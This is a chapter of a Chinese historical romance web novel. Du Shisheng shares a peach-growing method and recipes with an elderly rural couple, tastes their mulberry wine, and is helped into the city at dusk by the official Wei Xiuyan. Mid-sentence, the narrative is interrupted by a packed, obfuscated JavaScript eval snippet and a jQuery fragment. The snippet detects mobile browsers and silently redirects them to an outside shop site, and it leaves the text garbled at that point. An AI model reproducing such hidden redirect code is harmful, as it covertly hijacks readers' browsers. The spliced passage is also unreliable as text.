46. 第四十五章
    话说,杜时笙将在养桃的方法说与了孔阿婆。孔阿婆听完,惊讶道:“还可如此养桃子?当真能在桃身上养出字来?”

    杜时笙点头笑道:“咱们今年便可一试,这两株桃树所结之桃,无论成与不成,儿尽数买下。只是,这养桃的法子,切不可授与旁人。若是成了,明年阿婆也可效法此法,将桃子卖个好价钱。”

    孔阿婆将信将疑地点点头,她活了这几十年,竟从未听过,能种出有字的桃子。杜娘子之法若当真可行,那来年的桃子定能卖上几倍的价钱,大郎治病欠下的债,便有望还清了。

    思及此处,孔阿婆竟有些激动,打心眼里喜欢眼前这个小娘子,明眸善睐,乐善好施,又有一颗悲悯仁慈的心肠。

    孔阿婆笑眯眯地端详着杜时笙,心下想道,这般好的小娘子,她的阿耶和阿娘,前世是修了多大的福气哟!

    她心下欢喜,情不自禁地与她家长里短聊得火热。不知不觉,便到了孔家二老的家中。

    孔阿婆家的屋子,就是在桃林旁的一处简陋洁净的小宅子,树枝扎的栅栏,整整齐齐围了一圈。泥土的甬道被洒扫的干干净净,鸡鸭鹅狗,蔬果花卉,缸瓮瓦罐,小小的院落,满满登登。

    倒是一副世外桃源的模样,杜时笙看着,点了点头,想来孔家二老在此处离群索居,自给自足地过活,已然有许多年了。

    “孔阿婆,这是酒坛吗?”

    杜时笙看见院中搭了一个小小的草棚,草棚之下有十数个酒坛整整齐齐的摆放着,便好奇的问道。

    “正是,这是我自己酿的桑葚酒,老头子爱喝点小酒,我年年都酿些来,今年酿的多了些。”孔阿婆笑眯眯地答道。

    桑葚酒?

    杜时笙来了兴致,眸子一转,笑问道:“阿婆,能给儿舀一杯尝尝吗?”

    《五代史》中记载:“以蒲桃为酒,又有紫酒、青酒,不知其所酿,而味尤美”。这紫酒,指的便是桑葚酒。今日恰巧看见,她定要尝上一尝才可。

    “杜娘子客气,杜娘子如此善庖厨,我还怕娘子喝不惯我这酒呢!”孔阿婆笑眯眯地去盛了一碗桑葚酒来。

    粗陶碗中,色如红玛瑙的液体,果香扑鼻,又有酒的醇郁之味,杜时笙轻啜一口,只觉入口酸甜适中,酒香清淡,回味却是悠长绵密。

    “好喝!”杜时笙点头赞道,“前朝有书载,四月宜饮桑葚酒,能理百种风热。今日儿尝之,终于明白,为何桑葚酒能独占四月鳌头,想来除了益身健体,必是也有其味道甘醇之因。莫问因何染,一缕醇香长留存。”

    杜时笙所说书籍,是汉朝民间流传的农业书籍《四时月令》,这样说来,也不算是说谎。

    孔阿婆听了杜时笙这番夸奖,喜得直搓手道:“我这点子上不了台面的手艺,没想到杜娘子竟如此喜欢!待会儿回去,叫老头子给杜娘子装上几坛,也算我一点心意。”

    杜时笙连忙摆手推辞,笑道:“不可不可,儿还想烦阿婆再多酿些。日后儿的食肆开张,将这桑葚酒在食肆中售卖,久居京城的客人,定能喜欢!”

    孔阿婆一听,眉开眼笑地点着头,不住道:“好好好,多谢杜娘子照拂!”

    二人聊了会儿酒,没再耽搁时间,孔阿婆便带着杜时笙去了桃林。

    桃林茂密,蝉声阵阵,斑驳的树影和摇曳的枝桠,处处充满了泥土和桃子的清香。杜时笙选了两株最大最高的桃树,树上已结满青色的小桃,刚梅子大小。

    孔阿婆又再三与杜时笙确认了带字桃子的养法,笑着保证,定会在杜时笙两株树下多埋些砂糖。

    见时辰已不早,杜时笙赶紧与孔阿婆回到院中,将香菇猪肉酱的食谱给孔阿婆细细讲了,又手把手与她做出一锅酱料,才放下心来。

    孔家二老尝了之后,惊喜异常,连眼角的皱纹中都盛满了笑意。

    “我活了一把年纪,竟是第一次吃到如此鲜香的菇子,猪肉竟也能这般好吃!杜娘子厨艺当真了得!这香菇酱无论卖的如何,我二人自己留着吃,也是可口得紧!”

    见天色渐晚,杜时笙担心城门关闭前赶不回去,不敢多坐,便要起身告辞。

    孔阿翁忙去牵了牛车过来送她进城。

    待孔阿翁将牛车牵来,杜时笙见到牛车上已整齐地放置着几个酒坛、风干的鹿肉和一筐野菜。

    杜时笙连忙要要将酒钱给孔阿婆。

    “这几坛是我们二人今日送小娘子的,请小娘子务必收下。若小娘子的食肆要用,我可就须得收钱喽。”孔阿婆一边在牛车上铺上软垫,一边笑道。

    杜时笙推辞不得,只得伴着这些谢礼一起上路了。

    途中,牛车陷进一个泥坑里,孔阿翁与杜时笙费了不少力气方将牛车拉了出来,二人大眼瞪小眼,看着各自身上的污泥,皆是忍俊不禁。

    因耽搁了时辰,待赶至城门之时,城门正在要关闭,官兵把手在门口,已不再放人入城内了。

    “郎君,儿住在永和坊,今夜若不回去,在城外无处安置,还望郎君给行个方便。”杜时笙好言好语与守城的士兵商量。

    谁知那守城的最是循规蹈矩,看见杜时笙满是污泥的襦裙,不耐烦道:“衙门定的规矩,怎可因你一人随意改变!”

    杜时笙急道:“郎君,儿也到了,现下城门不是还没关闭吗?”

    那守城的摆摆手,正欲赶她走,听到一个冷肃的声音说道:“她是某府中之人,让她进来吧。”

    杜时笙心下惊喜,没想到竟遇见了他。

    那守城的循声一看,大理寺正魏修晏,正骑在一匹青骢马上,冷眼瞧着自己。他知这魏郎君性情最是冷漠严厉,忙上前一礼,殷勤陪笑道:“某不知是魏府之人返回城内,这就放行。”

    说着,便与另几位守城士兵一挥手臂,示意他们赶紧放杜时笙进入城内。

    孔阿翁忙跛着脚从牛车上下来,对杜时笙道:“杜娘子,这些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364249|135881||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东西……”

    杜时笙为难,孔阿翁若是进了城门,今夜便回不去了,孔阿婆还在家中等他,必会担心不已。若是自己入城,这些东西必是没法拿的,可魏郎君帮自己徇了私,怎好意思再求他?

    杜时笙只得无奈道:“孔阿翁,二老心意儿心领了,今日着实不便收下。”

    孔阿翁自是失望至极,却也无法,只得点点头。

    杜时笙望着他一跛一跛的背影,心中难过,鼻子竟有些发酸。

    魏修晏见他二人情状,对着方才为难的杜时笙的守城扬了扬马鞭,说道:“你去将牛车上的物件卸下,送至我府上。”

    那守城的连忙点头,招呼了几个属下,七手八脚地去卸了孔阿翁牛车上的东西。喜得孔阿翁合不拢嘴,笑呵呵地目送着几名士兵搬着东西进了城门。

    “多谢魏郎君。”见守城士兵散去,杜时笙对魏修晏福了一福。

    魏修晏看着她狼狈不堪的模样,知她必是去了城外乡下,遂翻身下马,问道:“杜娘子在城外还有相识?”

    杜时笙见他打量自己,面上浮起两朵红云,将沾满泥巴的绣鞋往裙下藏了藏,说道:“儿去城外教孔家阿翁和阿婆做酱料,不想途中出了点意外,耽搁了时间,竟差点进不了城门。幸得魏郎君相助。天色已不早,儿须得尽快回家,改日再当面与郎君道谢。”

    说罢,她便要趁机溜走。

    谁知,魏修晏却不离去,上前一步,挡在她面前,说道:“宵禁鼓声已响过两遍,杜娘子若是走回永和坊,怕是宵禁之前无法到达,还是某送娘子回去吧。”

    杜时笙尴尬地看着他,凭借魏修晏大理寺的腰牌,即便在宵禁后,也可以在城中畅通无阻,可此番既无马车,又无帷帽,众目睽睽之下,当真要魏郎君送自己回去吗?

    魏修晏看出了杜时笙的犹豫,拍了拍马背上的囊袋,对杜时笙微微一笑,道:“某还需送书给小郎君,正巧同路。”

    说罢,不容杜时笙再犹豫,双手扶住她的纤腰,一把将她托至马上。

    杜时笙“哎呦”一声,她第一遭骑马,心中害怕得紧,慌乱之中忙抓住马的鬃毛。那青骢马何曾受过这种委屈,甩了甩头,气得不停从鼻子哼气出来。

    “杜娘子莫怕。”

    魏修晏牵紧了缰绳,轻轻拍了拍青骢马的脖子,待马儿冷静下来,他托起杜时笙双脚,将其一一放置在马镫之上。

    杜时笙顾不得害羞,死死踩到马镫之上,方才略微放下心来,可双手仍紧紧扶着马颈。

    魏修晏看她身体僵直的紧张模样,一向冷峻的面上浮起一丝微笑。

    “杜娘子,坐稳了。”魏修晏说完,便在前头牵着马,信步走去。

    一位绿袍官员,且又如此琼林玉树之姿,为一位满身污泥的女郎牵马而行,一路上引得不少人注目。

    杜时笙假装什么也没看见,低着头瞧着马颈的鬃毛,还有,偷偷瞧着魏修晏的背影……